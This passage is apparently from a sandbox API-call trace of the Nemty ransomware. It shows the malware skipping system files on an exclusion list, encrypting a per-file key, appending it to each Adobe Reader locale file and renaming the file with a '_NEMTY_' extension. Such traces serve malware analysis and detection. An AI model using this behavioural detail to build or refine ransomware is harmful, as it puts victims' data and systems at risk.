lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.305] CloseHandle (hObject=0x2e8) returned 1 [0176.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0176.305] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.305] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0176.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0176.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0176.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.305] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\RdLang32.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\rdlang32.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\RdLang32.EUQ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\rdlang32.euq._nemty_kgobjgd_")) returned 1 [0176.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0176.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0176.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.306] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ReadOutLoud.EUQ", cAlternateFileName="READOU~1.EUQ")) returned 1 [0176.306] lstrcmpiW (lpString1="ReadOutLoud.EUQ", lpString2=".") returned 1 [0176.306] lstrcmpiW (lpString1="ReadOutLoud.EUQ", lpString2="..") returned 1 [0176.306] lstrcmpiW (lpString1="ReadOutLoud.EUQ", lpString2="...") returned 1 [0176.306] lstrcmpiW (lpString1="ReadOutLoud.EUQ", lpString2="windows") returned -1 [0176.306] lstrcmpiW (lpString1="ReadOutLoud.EUQ", lpString2="$RECYCLE.BIN") returned 1 [0176.306] lstrcmpiW (lpString1="ReadOutLoud.EUQ", lpString2="rsa") returned -1 [0176.306] lstrcmpiW (lpString1="ReadOutLoud.EUQ", lpString2="NTDETECT.COM") returned 1 [0176.306] lstrcmpiW (lpString1="ReadOutLoud.EUQ", lpString2="ntldr") returned 1 [0176.306] lstrcmpiW (lpString1="ReadOutLoud.EUQ", lpString2="MSDOS.SYS") returned 1 [0176.306] lstrcmpiW (lpString1="ReadOutLoud.EUQ", lpString2="IO.SYS") returned 1 [0176.306] lstrcmpiW (lpString1="ReadOutLoud.EUQ", lpString2="boot.ini") returned 1 [0176.306] lstrcmpiW (lpString1="ReadOutLoud.EUQ", lpString2="boot.ini") returned 1 [0176.306] lstrcmpiW (lpString1="ReadOutLoud.EUQ", lpString2="AUTOEXEC.BAT") returned 1 [0176.306] lstrcmpiW (lpString1="ReadOutLoud.EUQ", lpString2="ntuser.dat") returned 1 [0176.306] lstrcmpiW (lpString1="ReadOutLoud.EUQ", lpString2="desktop.ini") returned 1 [0176.306] lstrcmpiW (lpString1="ReadOutLoud.EUQ", lpString2="CONFIG.SYS") returned 1 [0176.306] lstrcmpiW (lpString1="ReadOutLoud.EUQ", lpString2="RECYCLER") returned -1 [0176.306] lstrcmpiW (lpString1="ReadOutLoud.EUQ", lpString2="BOOTSECT.BAK") returned 1 [0176.306] lstrcmpiW (lpString1="ReadOutLoud.EUQ", lpString2="bootmgr") returned 1 [0176.306] lstrcmpiW (lpString1="ReadOutLoud.EUQ", lpString2="programdata") returned 1 [0176.306] lstrcmpiW (lpString1="ReadOutLoud.EUQ", lpString2="appdata") returned 1 [0176.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.306] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.EUQ", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0176.306] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.EUQ", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.EUQ", lpUsedDefaultChar=0x0) returned 15 [0176.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.306] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.EUQ", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0176.307] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.EUQ", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.EUQ", lpUsedDefaultChar=0x0) returned 15 [0176.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.307] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.EUQ", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0176.307] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.EUQ", cchWideChar=15, lpMultiByteStr=0x653e8e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.EUQ", lpUsedDefaultChar=0x0) returned 15 [0176.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.307] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.EUQ", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0176.307] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.EUQ", cchWideChar=15, lpMultiByteStr=0x653e918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.EUQ", lpUsedDefaultChar=0x0) returned 15 [0176.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0176.307] Sleep (dwMilliseconds=0x5) [0176.309] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cbc38f0, dwHighDateTime=0x1d561e8)) [0176.309] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cbc38f0, dwHighDateTime=0x1d561e8)) [0176.309] GetLastError () returned 0x0 [0176.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.309] GetLastError () returned 0x0 [0176.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.309] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.309] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.309] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0176.309] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="CcPYoXSAvmFt+KTl3ZCDgMHhergbaLCIDEt3E5KkfTEoPU0hF7x4SmeY7YlMlT2W\r\nNDcpLvvIJKuhVSRZfacDpi6kmoiJ+1ubZtg5kIZZFyGjxPA/q/19E6RJiO1YMcsw\r\nhx8qsozWTq3m3GzW3L8p5RhB2Hs9XDWm7TrQ9GYoC62rd0nAY3dHnkEv7aaLSMwV\r\nDTfn7RllKzvoJIeKcH+HQ7TXvmQPPnIJ/+hSoA59tLKQeKF6sQR5teSfkk3ZDk4S\r\njJZGOLPg1g3tI65/UN0AgJO/O6OSeFZqo3JzBznH3//eidyQxjDjggfjBfP1Sxn6\r\n1fNvKhJq8NFz7zfbVBEzjA==\r\n", pcchString=0x653e5dc) returned 1 [0176.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0176.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.310] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\ReadOutLoud.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\readoutloud.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.310] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11264) returned 1 [0176.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2c00) returned 0x6352c48 [0176.310] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.310] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2c00, lpOverlapped=0x0) returned 1 [0176.312] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.312] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2c00, lpOverlapped=0x0) returned 1 [0176.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.312] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=11264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2c00 [0176.312] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.312] CloseHandle (hObject=0x2e8) returned 1 [0176.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0176.313] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.313] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0176.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0176.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0176.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.313] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\ReadOutLoud.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\readoutloud.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\ReadOutLoud.EUQ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\readoutloud.euq._nemty_kgobjgd_")) returned 1 [0176.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0176.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0176.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.313] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="reflow.EUQ", cAlternateFileName="")) returned 1 [0176.313] lstrcmpiW (lpString1="reflow.EUQ", lpString2=".") returned 1 [0176.314] lstrcmpiW (lpString1="reflow.EUQ", lpString2="..") returned 1 [0176.314] lstrcmpiW (lpString1="reflow.EUQ", lpString2="...") returned 1 [0176.314] lstrcmpiW (lpString1="reflow.EUQ", lpString2="windows") returned -1 [0176.314] lstrcmpiW (lpString1="reflow.EUQ", lpString2="$RECYCLE.BIN") returned 1 [0176.314] lstrcmpiW (lpString1="reflow.EUQ", lpString2="rsa") returned -1 [0176.314] lstrcmpiW (lpString1="reflow.EUQ", lpString2="NTDETECT.COM") returned 1 [0176.314] lstrcmpiW (lpString1="reflow.EUQ", lpString2="ntldr") returned 1 [0176.314] lstrcmpiW (lpString1="reflow.EUQ", lpString2="MSDOS.SYS") returned 1 [0176.314] lstrcmpiW (lpString1="reflow.EUQ", lpString2="IO.SYS") returned 1 [0176.314] lstrcmpiW (lpString1="reflow.EUQ", lpString2="boot.ini") returned 1 [0176.314] lstrcmpiW (lpString1="reflow.EUQ", lpString2="boot.ini") returned 1 [0176.314] lstrcmpiW (lpString1="reflow.EUQ", lpString2="AUTOEXEC.BAT") returned 1 [0176.314] lstrcmpiW (lpString1="reflow.EUQ", lpString2="ntuser.dat") returned 1 [0176.314] lstrcmpiW (lpString1="reflow.EUQ", lpString2="desktop.ini") returned 1 [0176.314] lstrcmpiW (lpString1="reflow.EUQ", lpString2="CONFIG.SYS") returned 1 [0176.314] lstrcmpiW (lpString1="reflow.EUQ", lpString2="RECYCLER") returned 1 [0176.314] lstrcmpiW (lpString1="reflow.EUQ", lpString2="BOOTSECT.BAK") returned 1 [0176.314] lstrcmpiW (lpString1="reflow.EUQ", lpString2="bootmgr") returned 1 [0176.314] lstrcmpiW (lpString1="reflow.EUQ", lpString2="programdata") returned 1 [0176.314] lstrcmpiW (lpString1="reflow.EUQ", lpString2="appdata") returned 1 [0176.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.314] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.EUQ", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.314] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.EUQ", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.EUQ", lpUsedDefaultChar=0x0) returned 10 [0176.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.314] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.EUQ", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.314] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.EUQ", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.EUQ", lpUsedDefaultChar=0x0) returned 10 [0176.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.314] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.EUQ", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.314] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.EUQ", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.EUQ", lpUsedDefaultChar=0x0) returned 10 [0176.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.315] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.EUQ", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.315] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.EUQ", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.EUQ", lpUsedDefaultChar=0x0) returned 10 [0176.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0176.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0176.315] Sleep (dwMilliseconds=0x5) [0176.324] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cbe9a50, dwHighDateTime=0x1d561e8)) [0176.324] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cbe9a50, dwHighDateTime=0x1d561e8)) [0176.325] GetLastError () returned 0x0 [0176.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.325] GetLastError () returned 0x0 [0176.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.325] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.325] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.325] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0176.325] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="mLwctzFcCZhtXOMSmcDpCYR/hEsL5l9wRn8v5sqahihhlZi4H+aYq3jvFJ5ehUys\r\nsdoV8esK1Qn7/gjb3LYPA72YikpOut0fjRAHMXoMSniUgo7lh/kdCI1NNrgiWBuT\r\nFEq1M4jYm0Tfzxl9GQGmRznUF9ch+qRtNfd8JsDQypg+l607oIUKKAxufpEbvfBY\r\nBpOJslJgV++ZZhEqkAZilRvEqLRyzSV2R0c1Tubh2Od6+UPUdcHfGSP4Vgy5+XBR\r\nizZuQB2MFrJnVNGB3IRutOKuuTVW0Xz9WY492X7mAUP8oinrAwTBLaf1ecm+Coli\r\n8TwQI8PkoCFd6/O0H7FDOg==\r\n", pcchString=0x653e5dc) returned 1 [0176.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0176.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.325] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\reflow.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\reflow.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.326] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=4608) returned 1 [0176.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, 